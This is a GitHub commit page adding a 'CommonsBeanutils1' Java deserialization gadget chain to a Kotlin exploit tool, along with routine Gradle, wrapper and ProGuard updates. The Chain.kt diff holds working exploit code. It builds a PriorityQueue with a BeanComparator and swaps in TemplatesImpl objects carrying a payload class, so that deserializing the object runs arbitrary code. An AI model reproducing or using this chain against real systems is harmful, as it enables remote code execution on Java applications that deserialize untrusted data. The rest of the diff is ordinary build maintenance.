Skip to content

Commit dc48d7e

Browse files
committed
Add CommonsBeanutils1 chain
Signed-off-by: XhstormR <[email protected]>
1 parent 9b1c57e commit dc48d7e

File tree

7 files changed

+37
-23
lines changed

7 files changed

+37
-23
lines changed

build.gradle.kts

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ buildscript {
1212
plugins {
1313
idea
1414
application
15-
kotlin("jvm") version "1.3.72"
15+
kotlin("jvm") version "1.4.0"
1616
id("org.jlleitschuh.gradle.ktlint") version "9.3.0"
1717
}
1818

@@ -32,6 +32,8 @@ dependencies {
3232
compileOnly("org.apache.tomcat.embed:tomcat-embed-core:9.+")
3333

3434
implementation("org.apache.commons:commons-collections4:4.0")
35+
36+
implementation("commons-beanutils:commons-beanutils:1.9.2")
3537
}
3638

3739
tasks {
@@ -64,7 +66,7 @@ tasks {
6466
}
6567

6668
withType<Wrapper> {
67-
gradleVersion = "6.5"
69+
gradleVersion = "6.6"
6870
distributionType = Wrapper.DistributionType.ALL
6971
}
7072

gradle/wrapper/gradle-wrapper.jar

293 Bytes
Binary file not shown.
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
distributionBase=GRADLE_USER_HOME
22
distributionPath=wrapper/dists
3-
distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-all.zip
3+
distributionUrl=https\://services.gradle.org/distributions/gradle-6.6-all.zip
44
zipStoreBase=GRADLE_USER_HOME
55
zipStorePath=wrapper/dists

gradlew

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ fi
130130
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131131
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132132
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133-
133+
134134
JAVACMD=`cygpath --unix "$JAVACMD"`
135135

136136
# We build the pattern for arguments to be converted via cygpath

gradlew.bat

Lines changed: 3 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ if defined JAVA_HOME goto findJavaFromJavaHome
4040

4141
set JAVA_EXE=java.exe
4242
%JAVA_EXE% -version >NUL 2>&1
43-
if "%ERRORLEVEL%" == "0" goto init
43+
if "%ERRORLEVEL%" == "0" goto execute
4444

4545
echo.
4646
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
@@ -54,7 +54,7 @@ goto fail
5454
set JAVA_HOME=%JAVA_HOME:"=%
5555
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
5656

57-
if exist "%JAVA_EXE%" goto init
57+
if exist "%JAVA_EXE%" goto execute
5858

5959
echo.
6060
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
@@ -64,29 +64,14 @@ echo location of your Java installation.
6464

6565
goto fail
6666

67-
:init
68-
@rem Get command-line arguments, handling Windows variants
69-
70-
if not "%OS%" == "Windows_NT" goto win9xME_args
71-
72-
:win9xME_args
73-
@rem Slurp the command line arguments.
74-
set CMD_LINE_ARGS=
75-
set _SKIP=2
76-
77-
:win9xME_args_slurp
78-
if "x%~1" == "x" goto execute
79-
80-
set CMD_LINE_ARGS=%*
81-
8267
:execute
8368
@rem Setup the command line
8469

8570
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
8671

8772

8873
@rem Execute Gradle
89-
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
74+
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
9075

9176
:end
9277
@rem End local scope for the variables with windows NT shell

proguard/proguard-rules.pro

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,12 +27,14 @@
2727
<fields>;
2828
}
2929

30+
-keep class org.apache.commons.logging.** { *; }
31+
3032
-keepclasseswithmembers class com.xhstormr.app.*Filter {
3133
<methods>;
3234
}
3335

3436
-dontwarn javax.**
35-
-dontwarn org.apache.catalina.**
37+
-dontwarn org.apache.**
3638

3739
-printusage ../build/usage.txt
3840
-printmapping ../build/mapping.txt

src/main/kotlin/com/xhstormr/app/Chain.kt

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,42 @@
11
package com.xhstormr.app
22

33
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
4+
import org.apache.commons.beanutils.BeanComparator
45
import org.apache.commons.collections4.Transformer
56
import org.apache.commons.collections4.comparators.TransformingComparator
67
import org.apache.commons.collections4.functors.ChainedTransformer
78
import org.apache.commons.collections4.functors.ConstantTransformer
89
import org.apache.commons.collections4.functors.InstantiateTransformer
910
import org.apache.commons.collections4.functors.InvokerTransformer
11+
import java.math.BigInteger
1012
import java.util.PriorityQueue
1113
import javax.xml.transform.Templates
1214

1315
enum class Chain {
1416

17+
CommonsBeanutils1 {
18+
override fun generate(payload: Class<*>): Any {
19+
val templates = Gadgets.createTemplatesImpl(payload)
20+
// mock method name until armed
21+
val comparator = BeanComparator<Any>("lowestSetBit")
22+
23+
// create queue with numbers and basic comparator
24+
val queue = PriorityQueue(2, comparator)
25+
// stub data for replacement later
26+
queue.add(BigInteger("1"))
27+
queue.add(BigInteger("1"))
28+
29+
// switch method called by comparator
30+
comparator.setFieldValue("property", "outputProperties")
31+
32+
// switch contents of queue
33+
val queueArray = queue.getFieldValue("queue") as Array<Any>
34+
queueArray[0] = templates
35+
queueArray[1] = templates
36+
return queue
37+
}
38+
},
39+
1540
CommonsCollections2Chain {
1641
override fun generate(payload: Class<*>): Any {
1742
val templates = Gadgets.createTemplatesImpl(payload)

0 commit comments

Comments
 (0)